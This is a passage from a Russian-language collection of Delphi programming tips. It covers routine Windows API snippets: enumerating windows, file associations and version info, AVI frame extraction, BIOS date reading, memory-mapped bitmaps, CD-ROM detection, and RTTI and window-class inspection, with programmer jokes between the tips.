SE_ERR_DLLNOTFOUND :
raise Exception.Create( 'Указанная dynamic-link library не найдена.' );
SE_ERR_NOASSOC :
raise Exception.Create( 'Не найдено приложение связанной с данным расширением файла.' );
SE_ERR_OOM :
raise Exception.Create( 'Недостаточно памяти для завершения операции.' );
SE_ERR_SHARE :
raise Exception.Create( 'Файл используется другим приложением.' );
else
end;
end;
end.
|
Как получить список всех запущенных процессов.
Поставь на форму список TListbox и кнопку TButton, по нажатию на кнопке напиши такой код:
procedure TForm1.Button1Click(Sender: TObject);
var
Wnd: hWnd;
buff: array[0..127] of Char;
begin
ListBox1.Clear;
Wnd := GetWindow(Handle, gw_HWndFirst);
while Wnd <> 0 do begin {Не показываем:}
if (Wnd <> Application.Handle) and {-Собственное окно}
IsWindowVisible(Wnd) and {-Невидимые окна}
(GetWindow(Wnd, gw_Owner) = 0) and {-Дочернии окна}
(GetWindowText(Wnd, buff, sizeof(buff)) <> 0) {-Окна без заголовков}
then begin
GetWindowText(Wnd, buff, sizeof(buff));
ListBox1.Items.Add(StrPas(buff));
end;
Wnd := GetWindow(Wnd, gw_hWndNext);
end;
ListBox1.ItemIndex := 0;
end;
|
Получаем заголовок чужого компонента, который под мышью.
procedure TForm1.Timer1Timer(Sender: TObject); var s: string; h: HWND; begin h := WindowFromPoint(Mouse.CursorPos); SetLength(s, SendMessage(h, WM_GETTEXTLENGTH, 0, 0)+1); SendMessage(h, WM_GETTEXT, length(s), Integer(PChar(s))); SetLength(s, lStrLen(PChar(s))); Label1.Caption := s; end; |
Некрасиво то, что вся эта ерунда висит на таймере...
Получить приложение, ассоциированное с указанным расширением файлов.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
FindExecutable returns the name and handle to the executable
(.EXE) file associated with a specified file type (.BMP)
}
{
Wenn du z.B eine BMP-Datei anklickst, wird die
dazugehorige Anwendung MSPAINT.EXE mit der Datei als
Parameter ausgefuhrt. In diesem Beispiel wird
herausgefunden, welche Anwendung (hier MSPAINT.EXE)
mit dem jeweiligen Datei Typ verknupft ist.
}
function ShellFindExecutable(const FileName, DefaultDir: string): string;
var
Res: HINST;
Buffer: array[0..MAX_PATH] of Char;
P: PChar;
begin
FillChar(Buffer, SizeOf(Buffer), #0);
if DefaultDir = '' then P := nil
else
P := PChar(DefaultDir);
Res := FindExecutable(PChar(FileName), P, Buffer);
if Res > 32 then
begin
P := Buffer;
while PWord(P)^ <> 0 do
begin
if P^ = #0 then // FindExecutable replaces #32 with #0
P^ := ' ';
Inc(P);
end;
Result := Buffer;
end
else
Result := '';
end;
// Example, Beispiel:
procedure TForm1.Button1Click(Sender: TObject);
begin
ShellFindExecutable('1stboot.bmp', 'c:\windows');
end;
Как узнать версию программы.
Автор: Vit WEB-сайт: http://forum.vingrad.ru
function FileVersion(AFileName: string): string;
var
szName: array[0..255] of Char;
P: Pointer;
Value: Pointer;
Len: UINT;
GetTranslationString: string;
FFileName: PChar;
FValid: boolean;
FSize: DWORD;
FHandle: DWORD;
FBuffer: PChar;
begin
try
FFileName := StrPCopy(StrAlloc(Length(AFileName) + 1), AFileName);
FValid := False;
FSize := GetFileVersionInfoSize(FFileName, FHandle);
if FSize > 0 then
try
GetMem(FBuffer, FSize);
FValid := GetFileVersionInfo(FFileName, FHandle, FSize, FBuffer);
except
FValid := False;
raise;
end;
Result := '';
if FValid then
VerQueryValue(FBuffer, '\VarFileInfo\Translation', p, Len)
else
p := nil;
if P <> nil then
GetTranslationString := IntToHex(MakeLong(HiWord(Longint(P^)),
LoWord(Longint(P^))), 8);
if FValid then
begin
StrPCopy(szName, '\StringFileInfo\' + GetTranslationString +
'\FileVersion');
if VerQueryValue(FBuffer, szName, Value, Len) then
Result := StrPas(PChar(Value));
end;
finally
try
if FBuffer <> nil then
FreeMem(FBuffer, FSize);
except
end;
try
StrDispose(FFileName);
except
end;
end;
end;
В качестве параметра задать имя программы, если своей программы:
FileVersion(Paramstr(0));
Как экстрагировать фрейм из AVI.
Автор: http://www.swissdelphicenter.ch
uses
VfW { from download };
function GrabAVIFrame(avifn: string; iFrameNumber: Integer; ToFileName:
TFileName): Boolean;
var
Error: Integer;
pFile: PAVIFile;
AVIStream: PAVIStream;
gapgf: PGETFRAME;
lpbi: PBITMAPINFOHEADER;
bits: PChar;
hBmp: HBITMAP;
AviInfo: TAVIFILEINFOW;
sError: string;
TmpBmp: TBitmap;
DC_Handle: HDC;
begin
Result := False;
// Initialize the AVIFile library.
AVIFileInit;
// The AVIFileOpen function opens an AVI file
Error := AVIFileOpen(pFile, PChar(avifn), 0, nil);
if Error <> 0 then
begin
AVIFileExit;
case Error of
AVIERR_BADFORMAT: sError := 'The file couldnot be read';
AVIERR_MEMORY: sError :=
'The file could not be opened because of insufficient memory.';
AVIERR_FILEREAD: sError :=
'A disk error occurred while reading the file.';
AVIERR_FILEOPEN: sError :=
'A disk error occurred while opening the file.';
end;
ShowMessage(sError);
Exit;
end;
// AVIFileInfo obtains information about an AVI file
if AVIFileInfo(pFile, @AVIINFO, SizeOf(AVIINFO)) <> AVIERR_OK then
begin
// Clean up and exit
AVIFileRelease(pFile);
AVIFileExit;
Exit;
end;
// Show some information about the AVI
Form1.Memo1.Lines.Add('AVI Width : ' + IntToStr(AVIINFO.dwWidth));
Form1.Memo1.Lines.Add('AVI Height : ' + IntToStr(AVIINFO.dwHeight));
Form1.Memo1.Lines.Add('AVI Length : ' + IntToStr(AVIINFO.dwLength));
// Open a Stream from the file
Error := AVIFileGetStream(pFile, AVIStream, streamtypeVIDEO, 0);
if Error <> AVIERR_OK then
begin
// Clean up and exit
AVIFileRelease(pFile);
AVIFileExit;
Exit;
end;
// Prepares to decompress video frames
gapgf := AVIStreamGetFrameOpen(AVIStream, nil);
if gapgf = nil then
begin
AVIStreamRelease(AVIStream);
AVIFileRelease(pFile);
AVIFileExit;
Exit;
end;
// Read current Frame
// AVIStreamGetFrame Returns the address of a decompressed video frame
lpbi := AVIStreamGetFrame(gapgf, iFrameNumber);
if lpbi = nil then
begin
AVIStreamGetFrameClose(gapgf);
AVIStreamRelease(AVIStream);
AVIFileRelease(pFile);
AVIFileExit;
Exit;
end;
// Show number of frames:
Form1.Memo1.Lines.Add(Format('Framstart: %d FrameEnd: %d',
[AVIStreamStart(AVIStream), AVIStreamEnd(AVIStream)]));
TmpBmp := TBitmap.Create;
try
TmpBmp.Height := lpbi.biHeight;
TmpBmp.Width := lpbi.biWidth;
bits := Pointer(Integer(lpbi) + SizeOf(TBITMAPINFOHEADER));
DC_Handle := CreateDC('Display', nil, nil, nil);
try
hBmp := CreateDIBitmap(DC_Handle, // handle of device context
lpbi^, // address of bitmap size and format data
CBM_INIT, // initialization flag
bits, // address of initialization data
PBITMAPINFO(lpbi)^, // address of bitmap color-format data
DIB_RGB_COLORS); // color-data usage
finally
DeleteDC(DC_Handle);
end;
TmpBmp.Handle := hBmp;
AVIStreamGetFrameClose(gapgf);
AVIStreamRelease(AVIStream);
AVIFileRelease(pfile);
AVIFileExit;
try
TmpBmp.SaveToFile(ToFileName);
Result := True;
except
end;
finally
TmpBmp.Free;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
// Extract Frame 3 from AVI file
GrabAVIFrame('C:\Test.avi', 3, 'c:\avifram.bmp');
end;
Определение базовой системной информации.
| Не кажется ли вам символичным, что праздник мелких пакостей и легких ужасов в Штатах назывется "Хелло, Win"? |
Часто при создании систем привязки программ к компьютеру или окон типа System Info или About Box необходимо определить данные о пользователе и о системе. Это можно сделать следующим образом (из примеров по Delphi - программа COA):
...
Buffer : Array[0..30] of Char; // Буфер под ASCIIZ строку
begin
// Открыли библиотеку User
hInstUser := LoadLibrary('USER');
LoadString(hInstUser, 514, Buffer, 30);
// Имя пользователя
LabelUserName.Caption := StrPas(Buffer);
LoadString(hInstUser, 515, Buffer, 30);
FreeLibrary(hInstUser);
// Компания
LabelCompName.Caption := StrPas(Buffer);
WinVer := GetVersion;
// Версия Windows
LabelWinVer.Caption := Format('Windows %u.%.2u',
[LoByte(LoWord(WinVer)), HiByte(LoWord(WinVer))]);
// Версия DOS
LabelDosVer.Caption := Format('DOS %u.%.2u',
[HiByte(HiWord(WinVer)), LoByte(HiWord(WinVer))]);
WinFlags := GetWinFlags;
// Режим
IF WinFlags AND WF_ENHANCED > 0 THEN
LabelWinMode.Caption := '386 Enhanced Mode'
ELSE IF WinFlags AND WF_PMODE > 0 THEN
LabelWinMode.Caption := 'Standard Mode'
ELSE LabelWinMode.Caption := 'Real Mode';
// Сопроцессор
IF WinFlags AND WF_80x87 > 0 THEN
ValueMathCo.Caption := 'Present'
ELSE ValueMathCo.Caption := 'Absent';
// Свободно ресурсов
Fmt := GetFreeSystemResources(GFSR_SYSTEMRESOURCES);
ValueFSRs.Caption := Format('%d%% Free', [Fmt1]);
// Свободно памяти
ValueMemory.Caption := FormatFloat(',#######', MemAvail DIV
1024) + ' KB Free';
end;
|
Как получить дату BIOS.
| Народная примета: если программист в девять утра уже на работе, значит, он еще на работе. |
unit BiosDate; interface function GetBiosDate: string; implementation function SegOfsToLinear(Segment, Offset: Word): Integer; begin result := (Segment shl 4) or Offset; end; function GetBiosDate: string; begin result := string(PChar(Ptr(SegOfsToLinear($F000, $FFF5)))); end; end. |
Как в Delphi определить дату BIOS.
Автор: NomadicОпределить дату BIOS, равно как тип ПК или поиметь другие данные, находящиеся по фиксированому _физическому_ адресу, в Delphi можно так:
var
BiosDate: array[0..7] of char absolute
$FFFF5;
PCType: byte absolute $FFFFE;
procedure TForm1.FormCreate(Sender: TObject);
var
S: string;
begin
case PCType of
$FC: S := 'AT';
$FD: S := 'PCjr';
$FE: S := 'XT =8-O';
$FF: S := 'PC';
else
S := 'Нестандартный';
end;
Caption := 'Дата BIOS: ' + BiosDate + ' Тип ПК: ' + S;
end;
|
Получить дату BIOS.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function GetBiosDate1: String;
var
Buffer : Array[0..8] Of Char;
N : DWORD;
begin
ReadProcessMemory(GetCurrentProcess,
Ptr($FFFF5),
@Buffer,
8,
N);
Buffer[8] := #0;
result := StrPas(Buffer)
end;
function GetBiosDate2: String;
begin
result := string(pchar(ptr($FFFF5)));
end;
{Only for Win 95/98/ME)
Получение серийного номера BIOS.
Автор: Gua WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение серийного номера BIOS
Зависимости:
Автор: Gua, fbsdd@ukr.net, ICQ:141585495, Simferopol
Copyright:
Дата: 03 мая 2002 г.
***************************************************** }
function GetBiosNumber: string;
begin
result := string(pchar(ptr($FEC71)));
end;
Как из Handle битовой картинки, получить адрес битового изображения в памяти.
Автор: Nomadic.
Вот кусок одного моего класса, в котором есть две интересные вещицы - проецирование файлов в память и работа с битмэпом в памяти через указатель.Сразу оговорюсь, что все это работает только под Win95/NT.
type
TarrRGBTriple = array[byte] of TRGBTriple;
ParrRGBTriple = ^TarrRGBTriple;
{организует битмэп размером SX,SY;true_color}
procedure TMBitmap.Allocate(SX, SY: integer);
var
DC: HDC;
begin
if BM <> 0 then
DeleteObject(BM); {удаляем старый битмэп, если был}
BM := 0;
PB := nil;
fillchar(BI, sizeof(BI), 0);
with BI.bmiHeader do {заполняем структуру с параметрами битмэпа}
begin
biSize := sizeof(BI.bmiHeader);
biWidth := SX;
biHeight := SY;
biPlanes := 1;
biBitCount := 24;
biCompression := BI_RGB;
biSizeImage := 0;
biXPelsPerMeter := 0;
biYPelsPerMeter := 0;
biClrUsed := 0;
biClrImportant := 0;
FLineSize := (biWidth + 1) * 3 and (-1 shl 2);
{размер строки(кратна 4 байтам)}
if (biWidth or biHeight) <> 0 then
begin
DC := CreateDC('DISPLAY', nil, nil, nil);
{замечательная функция (см.HELP), возвращает HBITMAP, позволяет сразу
разместить выделяемый битмэп в спроецированном файле, что позволяет
ускорять работу и экономить память при генерировании большого битмэпа}
{!} BM := CreateDIBSection(DC, BI, DIB_RGB_COLORS, pointer(PB), nil, 0);
DeleteDC(DC); {в PB получаем указатель на битмэп-----^^}
if BM = 0 then
Error('error creating DIB');
end;
end;
end;
{эта процедура загружает из файла true-соlоr'ный битмэп}
procedure TMBitmap.LoadFromFile(const FileName: string);
var
HF: integer; {file handle}
HM: THandle; {file-mapping handle}
PF: pchar; {pointer to file view in memory}
i, j: integer;
Ofs: integer;
begin
{открываем файл}
HF := FileOpen(FileName, fmOpenRead or fmShareDenyWrite);
if HF < 0 then
Error('open file ''' + FileName + '''');
try
{создаем объект-проецируемый файл}
HM := CreateFileMapping(HF, nil, PAGE_READONLY, 0, 0, nil);
if HM = 0 then
Error('can''t create file mapping');
try
{собственно проецируем объект в адресное }
PF := MapViewOfFile(HM, FILE_MAP_READ, 0, 0, 0);
{получаем указатель на область памяти, в которую спроецирован файл}
if PF = nil then
Error('can''t create map view of file');
try
{работаем с файлом как с областью памяти через указатель PF}
if PBitmapFileHeader(PF)^.bfType <> $4D42 then
Error('file format');
Ofs := PBitmapFileHeader(PF)^.bfOffBits;
with PBitmapInfo(PF + sizeof(TBitmapFileHeader))^.bmiHeader do
begin
if (biSize <> 40) or (biPlanes <> 1) then
Error('file format');
if (biCompression <> BI_RGB) or
(biBitCount <> 24) then
Error('only true-color BMP supported');
{выделяем память под битмэп}
Allocate(biWidth, biHeight);
end;
for j := 0 to BI.bmiHeader.biHeight - 1 do
for i := 0 to BI.bmiHeader.biWidth - 1 do
{Pixels - это property, возвр. указатель на соотв. RGBTriple в битмэпе}
Pixels[i, j]^.Tr := ParrRGBTriple(PF + j * FLineSize + Ofs)^[i];
finally
UnmapViewOfFile(PF);
end;
finally
CloseHandle(HM);
end;
finally
FileClose(HF);
end;
end;
{эта функция - реализация Pixels read}
function TMBitmap.GetPixel(X, Y: integer): PRGB;
begin
if (X >= 0) and (X < BI.bmiHeader.biWidth) and
(Y >= 0) and (Y < BI.bmiHeader.biHeight) then
Result := PRGB(PB + (Y) * FLineSize + X * 3)
else
Result := PRGB(PB);
end;
|
Если у вас на форме есть компонент TImage, то можно сделать так:
var BMP:TMBitmap; B: TBitmap; ... BMP.LoadFromFile(..); B:=TBitmap.Create; B.Handle:=BMP.Handle; Image1.Picture.Bitmap:=B; |
И загруженный битмэп появится на экране.
Получение значения бита в двойном слове.
Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение значения бита в двойном слове
Функция возвращает значение бита с номером Index в двойном слове Value
Зависимости: нет
Автор: Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright: Dimka Maslov
Дата: 21 мая 2002 г.
***************************************************** }
function Bit(Value, Index: Integer): Boolean;
asm
bt eax, edx
setc al
and eax, 0FFh
end;
Как выяснить размер BLOB-поля.
function GetBlobSize(Field: TBlobField): LongInt;
begin
with TBlobStream.Create(Field, bmRead) do
try
Result := Seek(0, 2);
finally
Free;
end;
end;
|
Определить букву CD-ROM.
| Драйверы вашего CD-ROM привода находятся на прилагаемом компакт диске... |
procedure TForm1.Button1Click(Sender: TObject);
var
w: dword;
Root: string;
i: integer;
begin
w := GetLogicalDrives;
Root := '#:\';
for i := 0 to 25 do
begin
Root[1] := Char(Ord('A') + i);
if (W and (1 shl i)) > 0 then
if GetDriveType(Pchar(Root)) = DRIVE_CDROM then
Form1.Label1.Caption := Root;
end;
end;
|
Получить информацию о классе.
Автор: Xavier Pacheco
unit MainFrm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls, DBClient, MidasCon, MConnect;
type
TMainForm = class(TForm)
pnlTop: TPanel;
pnlLeft: TPanel;
lbBaseClassInfo: TListBox;
spSplit: TSplitter;
lblBaseClassInfo: TLabel;
pnlRight: TPanel;
lblClassProperties: TLabel;
lbPropList: TListBox;
lbSampClasses: TListBox;
procedure FormCreate(Sender: TObject);
procedure lbSampClassesClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
MainForm: TMainForm;
implementation
uses TypInfo;
{$R *.DFM}
function CreateAClass(const AClassName: string): TObject;
{ This method illustrates how you can create a class from the class name. Note
that this requires that you register the class using RegisterClasses() as
show in the initialization method of this unit. }
var
C: TFormClass;
SomeObject: TObject;
begin
C := TFormClass(FindClass(AClassName));
SomeObject := C.Create(nil);
Result := SomeObject;
end;
procedure GetBaseClassInfo(AClass: TObject; AStrings: TStrings);
{ This method obtains some basic RTTI data from the given object and adds that
information to the AStrings parameter. }
var
ClassTypeInfo: PTypeInfo;
ClassTypeData: PTypeData;
EnumName: string;
begin
ClassTypeInfo := AClass.ClassInfo;
ClassTypeData := GetTypeData(ClassTypeInfo);
with AStrings do
begin
Add(Format('Class Name: %s', [ClassTypeInfo.Name]));
EnumName := GetEnumName(TypeInfo(TTypeKind), Integer(ClassTypeInfo.Kind));
Add(Format('Kind: %s', [EnumName]));
Add(Format('Size: %d', [AClass.InstanceSize]));
Add(Format('Defined in: %s.pas', [ClassTypeData.UnitName]));
Add(Format('Num Properties: %d', [ClassTypeData.PropCount]));
end;
end;
procedure GetClassAncestry(AClass: TObject; AStrings: TStrings);
{ This method retrieves the ancestry of a given object and adds the
class names of the ancestry to the AStrings parameter. }
var
AncestorClass: TClass;
begin
AncestorClass := AClass.ClassParent;
{ Iterate through the Parent classes starting with Sender's
Parent until the end of the ancestry is reached. }
AStrings.Add('Class Ancestry');
while AncestorClass <> nil do
begin
AStrings.Add(Format(' %s', [AncestorClass.ClassName]));
AncestorClass := AncestorClass.ClassParent;
end;
end;
procedure GetClassProperties(AClass: TObject; AStrings: TStrings);
{ This method retrieves the property names and types for the given object
and adds that information to the AStrings parameter. }
var
PropList: PPropList;
ClassTypeInfo: PTypeInfo;
ClassTypeData: PTypeData;
i: integer;
NumProps: Integer;
begin
ClassTypeInfo := AClass.ClassInfo;
ClassTypeData := GetTypeData(ClassTypeInfo);
if ClassTypeData.PropCount <> 0 then
begin
// allocate the memory needed to hold the references to the TPropInfo
// structures on the number of properties.
GetMem(PropList, SizeOf(PPropInfo) * ClassTypeData.PropCount);
try
// fill PropList with the pointer references to the TPropInfo structures
GetPropInfos(AClass.ClassInfo, PropList);
for i := 0 to ClassTypeData.PropCount - 1 do
// filter out properties that are events ( method pointer properties)
if not (PropList[i]^.PropType^.Kind = tkMethod) then
AStrings.Add(Format('%s: %s', [PropList[i]^.Name,
PropList[i]^.PropType^.Name]));
// Now get properties that are events (method pointer properties)
NumProps := GetPropList(AClass.ClassInfo, [tkMethod], PropList);
if NumProps <> 0 then
begin
AStrings.Add('');
AStrings.Add(' EVENTS ================ ');
AStrings.Add('');
end;
// Fill the AStrings with the events.
for i := 0 to NumProps - 1 do
AStrings.Add(Format('%s: %s', [PropList[i]^.Name,
PropList[i]^.PropType^.Name]));
finally
FreeMem(PropList, SizeOf(PPropInfo) * ClassTypeData.PropCount);
end;
end;
end;
procedure TMainForm.FormCreate(Sender: TObject);
begin
// Add some example classes to the list box.
lbSampClasses.Items.Add('TApplication');
lbSampClasses.Items.Add('TButton');
lbSampClasses.Items.Add('TForm');
lbSampClasses.Items.Add('TListBox');
lbSampClasses.Items.Add('TPaintBox');
lbSampClasses.Items.Add('TMidasConnection');
lbSampClasses.Items.Add('TFindDialog');
lbSampClasses.Items.Add('TOpenDialog');
lbSampClasses.Items.Add('TTimer');
lbSampClasses.Items.Add('TComponent');
lbSampClasses.Items.Add('TGraphicControl');
end;
procedure TMainForm.lbSampClassesClick(Sender: TObject);
var
SomeComp: TObject;
begin
lbBaseClassInfo.Items.Clear;
lbPropList.Items.Clear;
// Create an instance of the selected class.
SomeComp := CreateAClass(lbSampClasses.Items[lbSampClasses.ItemIndex]);
try
GetBaseClassInfo(SomeComp, lbBaseClassInfo.Items);
GetClassAncestry(SomeComp, lbBaseClassInfo.Items);
GetClassProperties(SomeComp, lbPropList.Items);
finally
SomeComp.Free;
end;
end;
initialization
begin
RegisterClasses([TApplication, TButton, TForm, TListBox, TPaintBox,
TMidasConnection, TFindDialog, TOpenDialog, TTimer, TComponent,
TGraphicControl]);
end;
end.
Получение ссылки на экземпляр класса.
| Программисты ругаются: - Типун тебе на модем! - Эх ты, защёлка от дисковода! - Не бита совести у тебя нет! |
Вот пример. Эта подпрограмма работает с дочерним окном, которое может иметь только один экземпляр. Если оно не открыто, подпрограмма создаст его, если оно открыто, оно переместит его на передний план.
procedure FormLoader (FormClassType: TFormClass; var FormName);
begin
if TForm(FormName) = nil then
begin
Application.CreateForm (FormClassType, FormName);
end
else
begin
TForm(FormName).BringToFront;
TForm(FormName).WindowState := wsNormal;
end;
end;
|
Вот как это вызывать:
procedure TfrmTest.sbOpenClick(Sender: TObject); begin FormLoader (TfrmTest, frmTest); end; |
Получение информации о классе и об окне.
unit InternF;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls, Buttons;
type
TFormInternal = class(TForm)
Panel1: TPanel;
SpeedChoose: TSpeedButton;
LabelTarget: TLabel;
Splitter1: TSplitter;
MemoClass: TMemo;
MemoWin: TMemo;
CheckDrag: TCheckBox;
procedure FormCreate(Sender: TObject);
procedure FormResize(Sender: TObject);
procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure FormMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure SpeedChooseMouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
public
procedure UpdateData (hWnd: THandle);
function GetClassStyles (Style: Cardinal): string;
function GetWinStyles (Style: Cardinal): string;
function GetWinExStyles (Style: Cardinal): string;
private
Capture: Boolean;
end;
var
FormInternal: TFormInternal;
implementation
{$R *.DFM}
function TFormInternal.GetClassStyles (Style: Cardinal): string;
begin
Result := '';
if (cs_bytealignclient and style) = cs_bytealignclient then
Result := Result + 'ByteAlignClient ';
if (cs_bytealignwindow and style) = cs_bytealignwindow then
Result := Result + 'cs_bytealignwindow';
if (cs_classdc and style) = cs_classdc then
Result := Result + 'ClassDC ';
if (cs_dblclks and style) = cs_dblclks then
Result := Result + 'DblClks ';
if (cs_globalclass and style) = cs_globalclass then
Result := Result + 'GlobalClass ';
if (cs_hredraw and style) = cs_hredraw then
Result := Result + 'HRedraw ';
if (cs_noclose and style) = cs_noclose then
Result := Result + 'NoClose ';
if (cs_owndc and style) = cs_owndc then
Result := Result + 'OwnDc ';
if (cs_parentdc and style) = cs_parentdc then
Result := Result + 'ParentDc ';
if (cs_savebits and style) = cs_savebits then
Result := Result + 'SaveBits ';
if (cs_vredraw and style) = cs_vredraw then
Result := Result + 'VRedraw ';
end;
function TFormInternal.GetWinStyles (Style: Cardinal): string;
begin
// show the kind of window
if (ws_child and style) = ws_child then
Result := 'Child '
else if (ws_popup and style) = ws_popup then
Result := 'Popup '
else
Result := 'Overlapped ';
// borders
if (ws_border and style) = ws_border then
Result := Result + 'Border ';
if (ws_caption and style) = ws_caption then
Result := Result + 'Caption ';
if (ws_thickframe and style) = ws_thickframe then
Result := Result + 'ThickFrame ';
if (ws_dlgframe and style) = ws_dlgframe then
Result := Result + 'DlgFrame ';
// border buttons
if (ws_maximizebox and style) = ws_maximizebox then
Result := Result + 'MaximizeBox ';
if (ws_minimizebox and style) = ws_minimizebox then
Result := Result + 'MinimizeBox ';
if (ws_sysmenu and style) = ws_sysmenu then
Result := Result + 'SysMenu ';
// scrollbars
if (ws_hscroll and style) = ws_hscroll then
Result := Result + 'HScroll ';
if (ws_vscroll and style) = ws_vscroll then
Result := Result + 'VScroll ';
// clipping
if (ws_clipchildren and style) = ws_clipchildren then
Result := Result + 'ClipChildren ';
if (ws_clipsiblings and style) = ws_clipsiblings then
Result := Result + 'ClipSiblings ';
// initial status information
if (ws_disabled and style) = ws_disabled then
Result := Result + 'Disabled ';
if (ws_group and style) = ws_group then
Result := Result + 'Group ';
if (ws_maximize and style) = ws_maximize then
Result := Result + 'Maximize ';
if (ws_minimize and style) = ws_minimize then
Result := Result + 'Minimize ';
if (ws_tabstop and style) = ws_tabstop then
Result := Result + 'TabStop ';
if (ws_visible and style) = ws_visible then
Result := Result + 'Visible ';
// note: controls styles are not supported
end;
function TFormInternal.GetWinExStyles (style: Cardinal): string;
begin
Result := '';
// add the extended styles
if (ws_ex_acceptfiles and style) = ws_ex_acceptfiles then
Result := Result + 'AcceptFiles ';
if (ws_ex_appwindow and style) = ws_ex_appwindow then
Result := Result + 'AppWindow ';
if (ws_ex_mdichild and style) = ws_ex_mdichild then
Result := Result + 'MdiChild ';
if (ws_ex_noparentnotify and style) = ws_ex_noparentnotify then
Result := Result + 'NoParentNotify ';
if (ws_ex_contexthelp and style) = ws_ex_contexthelp then
Result := Result + 'ContextHelp ';
if (ws_ex_controlparent and style) = ws_ex_controlparent then
Result := Result + 'ControlParent ';
if (ws_ex_topmost and style) = ws_ex_topmost then
Result := Result + 'TopMost ';
if (ws_ex_transparent and style) = ws_ex_transparent then
Result := Result + 'Transparent ';
// border - edge styles
if (ws_ex_clientedge and style) = ws_ex_clientedge then
Result := Result + 'ClientEdge ';
if (ws_ex_staticedge and style) = ws_ex_staticedge then
Result := Result + 'StaticEdge ';
if (ws_ex_dlgmodalframe and style) = ws_ex_dlgmodalframe then
Result := Result + 'DlgModalFrame ';
if (ws_ex_windowedge and style) = ws_ex_windowedge then
Result := Result + 'WindowEdge ';
if (ws_ex_palettewindow and style) = ws_ex_palettewindow then
Result := Result + 'PaletteWindow ';
if (ws_ex_toolwindow and style) = ws_ex_toolwindow then
Result := Result + 'ToolWindow ';
// left/right input mode and scrollbars
if (ws_ex_left and style) = ws_ex_left then
Result := Result + 'Left ';
if (ws_ex_leftscrollbar and style) = ws_ex_leftscrollbar then
Result := Result + 'LeftScrollBar ';
if (ws_ex_ltrreading and style) = ws_ex_ltrreading then
Result := Result + 'LtrReading ';
if (ws_ex_right and style) = ws_ex_right then
Result := Result + 'Right ';
if (ws_ex_rightscrollbar and style) = ws_ex_rightscrollbar then
Result := Result + 'RightScrollBar ';
if (ws_ex_rtlreading and style) = ws_ex_rtlreading then
Result := Result + 'RtlReading ';
end;
function GetCursorName (hCur: THandle): string;
var
I: Integer;
begin
// default: handle value
Result := IntToHex (hCur, 16);
// looks for Delphi cursor
for I := crHelp to crArrow do
if Screen.Cursors [I] = hCur then
Result := CursorToString (I);
end;
procedure TFormInternal.FormCreate (Sender: TObject);
begin
UpdateData (Handle);
end;
procedure TFormInternal.UpdateData (hWnd: THandle);
var
WndClassName, Title: string;
WndClass: TWndClass;
hInst, hwndParent: THandle;
begin
MemoClass.Lines.BeginUpdate;
MemoWin.Lines.BeginUpdate;
try
SetLength (Title, 100);
// retrieve the WNDCLASS name
SetLength (WndClassName, 100);
hInst := GetWindowLong (hWnd, GWL_HINSTANCE);
GetClassName (hWnd, PChar (WndClassName), 100);
GetClassInfo (hInst, PChar (WndClassName), WndClass);
// show class information
with WndClass, MemoClass.Lines do
begin
Clear;
Add ('Class Name: ' + WndClassName);
Add ('Window Procedure: ' + IntToHex (Cardinal (lpfnWndProc), 8));
Add ('Class Extra Bytes: ' + IntToStr (cbClsExtra));
Add ('Window Extra Bytes: ' + IntToStr (cbWndExtra));
Add ('Instance Handle: ' + IntToHex (hInstance, 8));
GetModuleFileName (hInstance, PChar (Title), 100);
Add ('Module Name: ' + Title);
Add ('Icon Handle: ' + IntToHex (hIcon, 8));
Add ('Cursor: ' + GetCursorName (hCursor));
Add ('Brush handle: ' + IntToHex (hbrBackground, 8));
if lpszMenuName <> nil then
if HiWord (Cardinal(lpszMenuName)) <> 0 then
Add ('Menu name: ' + PChar (lpszMenuName))
else
Add ('Menu ID: ' + IntToStr (LoWord (lpszMenuName)));
Add (#13);
Add ('Class styles:');
Add (GetClassStyles (Style));
end;
// show window data
with MemoWin.Lines do
begin
Clear;
GetWindowText (hWnd, PChar (Title), 100);
Add ('Window Handle: ' + IntToHex (hWnd, 8));
Add (' Title: "' + PChar (Title) + '"');
Add ('Window Procedure: ' + IntToHex (GetWindowLong (hWnd, GWL_WNDPROC), 8));
Add ('Instance Handle: ' + IntToHex (GetWindowLong (hWnd, GWL_HINSTANCE), 8));
hwndParent := GetWindowLong (hWnd, GWL_HWNDPARENT);
Add ('Parent/Owner Window: ' + IntToHex (hwndParent, 8));
if hwndParent <> 0 then
begin
GetWindowText (hwndParent, PChar (Title), 100);
Add (' Par/Own Title: "' + PChar (Title) + '"');
end;
hwndParent := GetParent (hWnd);
Add ('Real Parent Window: ' + IntToHex (hwndParent, 8));
if hwndParent <> 0 then
begin
GetWindowText (hwndParent, PChar (Title), 100);
Add (' Parent Title: "' + PChar (Title) + '"');
end;
if GetParent (hWnd) <> 0 then
Add ('Child ID: ' + IntToHex (GetWindowLong (hWnd, GWL_ID), 8))
else
Add ('Menu Handle: ' + IntToHex (GetWindowLong (hWnd, GWL_ID), 8));
Add ('User Data: ' + IntToHex (GetWindowLong (hWnd, GWL_USERDATA), 8));
Add (#13);
Add ('Window Styles: ' +
GetWinStyles (GetWindowLong (hWnd, GWL_STYLE)));
Add (#13);
Add ('Extended Styles: ' +
GetWinExStyles (GetWindowLong (hWnd, GWL_EXSTYLE)));
end;
finally
MemoClass.Lines.EndUpdate;
MemoWin.Lines.EndUpdate;
end;
end;
procedure TFormInternal.FormResize(Sender: TObject);
begin
// split the area equally
MemoClass.Width := ClientWidth div 2;
end;
procedure TFormInternal.FormMouseMove(Sender: TObject;
Shift: TShiftState; X, Y: Integer);
var
hWnd: THandle;
Title: string;
Pt: TPoint;
begin
if Capture then
begin
Pt := Point (X, Y);
Pt := ClientToScreen (Pt);
hWnd := WindowFromPoint (Pt);
